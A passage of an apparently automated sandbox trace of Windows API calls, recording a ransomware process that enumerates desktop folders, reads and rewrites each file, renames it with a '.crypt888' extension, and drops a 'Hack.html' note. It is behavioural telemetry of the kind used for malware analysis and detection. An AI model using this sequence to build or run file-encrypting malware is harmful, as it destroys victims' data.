hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.530] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.530] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0080.530] FindClose (in: hFindFile=0x59a268 | out: hFindFile=0x59a268) returned 1 [0080.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0080.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf", lpFilePart=0x0) returned 0x4c [0080.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0080.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\1ymo.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.531] GetFileType (hFile=0x174) returned 0x1 [0080.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0080.531] GetFileType (hFile=0x174) returned 0x1 [0080.531] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x6a61 [0080.531] ReadFile (in: hFile=0x174, lpBuffer=0x27c83c4, nNumberOfBytesToRead=0x6a61, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27c83c4*, lpNumberOfBytesRead=0x39ecf0*=0x6a61, lpOverlapped=0x0) returned 1 [0080.548] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf", lpFilePart=0x0) returned 0x4c [0080.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0080.548] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\1ymo.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.550] GetFileType (hFile=0x174) returned 0x1 [0080.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0080.550] GetFileType (hFile=0x174) returned 0x1 [0080.550] WriteFile (in: hFile=0x174, lpBuffer=0x28365bc*, nNumberOfBytesToWrite=0x6a70, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x28365bc*, lpNumberOfBytesWritten=0x39ece0*=0x6a70, lpOverlapped=0x0) returned 1 [0080.551] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf", lpFilePart=0x0) returned 0x4c [0080.551] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf.crypt888", lpFilePart=0x0) returned 0x55 [0080.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0080.552] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\1ymo.rtf"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0192fc0, ftCreationTime.dwHighDateTime=0x1d45cdd, ftLastAccessTime.dwLowDateTime=0xd93e9790, ftLastAccessTime.dwHighDateTime=0x1d459a9, ftLastWriteTime.dwLowDateTime=0xc135c5e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x6a70)) returned 1 [0080.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0080.552] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\1ymo.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\1ymo.rtf.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\1ymo.rtf.crypt888")) returned 1 [0080.553] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt", lpFilePart=0x0) returned 0x5b [0080.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0080.553] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\awzttx7nn_igc3shuha.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.553] GetFileType (hFile=0x174) returned 0x1 [0080.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0080.553] GetFileType (hFile=0x174) returned 0x1 [0080.553] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x33f3 [0080.553] ReadFile (in: hFile=0x174, lpBuffer=0x283d4e8, nNumberOfBytesToRead=0x33f3, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x283d4e8*, lpNumberOfBytesRead=0x39ecf0*=0x33f3, lpOverlapped=0x0) returned 1 [0080.569] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt", lpFilePart=0x0) returned 0x5b [0080.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0080.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\awzttx7nn_igc3shuha.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.570] GetFileType (hFile=0x174) returned 0x1 [0080.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0080.570] GetFileType (hFile=0x174) returned 0x1 [0080.570] WriteFile (in: hFile=0x174, lpBuffer=0x289a6b0*, nNumberOfBytesToWrite=0x3400, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x289a6b0*, lpNumberOfBytesWritten=0x39ece0*=0x3400, lpOverlapped=0x0) returned 1 [0080.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt", lpFilePart=0x0) returned 0x5b [0080.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt.crypt888", lpFilePart=0x0) returned 0x64 [0080.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0080.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\awzttx7nn_igc3shuha.ppt"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e88f70, ftCreationTime.dwHighDateTime=0x1d4658e, ftLastAccessTime.dwLowDateTime=0xd9c469f0, ftLastAccessTime.dwHighDateTime=0x1d463dc, ftLastWriteTime.dwLowDateTime=0xc1382740, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x3400)) returned 1 [0080.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0080.572] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\awzttx7nn_igc3shuha.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\aWzttx7NN_igC3shUHa.ppt.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\awzttx7nn_igc3shuha.ppt.crypt888")) returned 1 [0080.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\Hack.html", lpFilePart=0x0) returned 0x4d [0080.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0080.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\q7b6ki6lzwkxd6nqx\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0080.574] GetFileType (hFile=0x174) returned 0x1 [0080.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0080.574] GetFileType (hFile=0x174) returned 0x1 [0080.574] WriteFile (in: hFile=0x174, lpBuffer=0x289f6e8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x289f6e8*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0080.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0080.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu", lpFilePart=0x0) returned 0x45 [0080.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\", lpFilePart=0x0) returned 0x46 [0080.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a168 [0080.576] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.576] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.576] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.576] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.577] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.577] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0080.577] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0080.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0080.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0080.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0080.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu", lpFilePart=0x0) returned 0x45 [0080.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\", lpFilePart=0x0) returned 0x46 [0080.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a168 [0080.578] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.578] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.578] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.578] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.578] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.578] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0080.579] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0080.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0080.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0080.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods", lpFilePart=0x0) returned 0x51 [0080.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0080.579] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\-jkcbij.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.579] GetFileType (hFile=0x174) returned 0x1 [0080.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0080.579] GetFileType (hFile=0x174) returned 0x1 [0080.579] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x586 [0080.580] ReadFile (in: hFile=0x174, lpBuffer=0x28a352c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28a352c*, lpNumberOfBytesRead=0x39ecf0*=0x586, lpOverlapped=0x0) returned 1 [0080.626] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods", lpFilePart=0x0) returned 0x51 [0080.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0080.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\-jkcbij.ods"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.628] GetFileType (hFile=0x174) returned 0x1 [0080.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0080.628] GetFileType (hFile=0x174) returned 0x1 [0080.628] WriteFile (in: hFile=0x174, lpBuffer=0x26f41e8*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x26f41e8*, lpNumberOfBytesWritten=0x39ecb4*=0x590, lpOverlapped=0x0) returned 1 [0080.629] CloseHandle (hObject=0x174) returned 1 [0080.633] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods", lpFilePart=0x0) returned 0x51 [0080.633] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods.crypt888", lpFilePart=0x0) returned 0x5a [0080.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0080.633] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\-jkcbij.ods"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f8d3b0, ftCreationTime.dwHighDateTime=0x1d4623b, ftLastAccessTime.dwLowDateTime=0xfd95a3e0, ftLastAccessTime.dwHighDateTime=0x1d46011, ftLastWriteTime.dwLowDateTime=0xc141acc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x590)) returned 1 [0080.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0080.633] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\-jkcbij.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\-JkCbIj.ods.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\-jkcbij.ods.crypt888")) returned 1 [0080.634] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a", lpFilePart=0x0) returned 0x5c [0080.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0080.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\0s9owwy8ov8doyvk8t.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.635] GetFileType (hFile=0x174) returned 0x1 [0080.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0080.635] GetFileType (hFile=0x174) returned 0x1 [0080.635] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x153cc [0080.636] ReadFile (in: hFile=0x174, lpBuffer=0x3689730, nNumberOfBytesToRead=0x153cc, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x3689730*, lpNumberOfBytesRead=0x39ecf0*=0x153cc, lpOverlapped=0x0) returned 1 [0080.639] CloseHandle (hObject=0x174) returned 1 [0080.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a", lpFilePart=0x0) returned 0x5c [0080.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0080.668] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\0s9owwy8ov8doyvk8t.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.670] GetFileType (hFile=0x174) returned 0x1 [0080.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0080.670] GetFileType (hFile=0x174) returned 0x1 [0080.670] WriteFile (in: hFile=0x174, lpBuffer=0x36f3a78*, nNumberOfBytesToWrite=0x153d0, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x36f3a78*, lpNumberOfBytesWritten=0x39ece0*=0x153d0, lpOverlapped=0x0) returned 1 [0080.673] CloseHandle (hObject=0x174) returned 1 [0080.676] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a", lpFilePart=0x0) returned 0x5c [0080.676] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 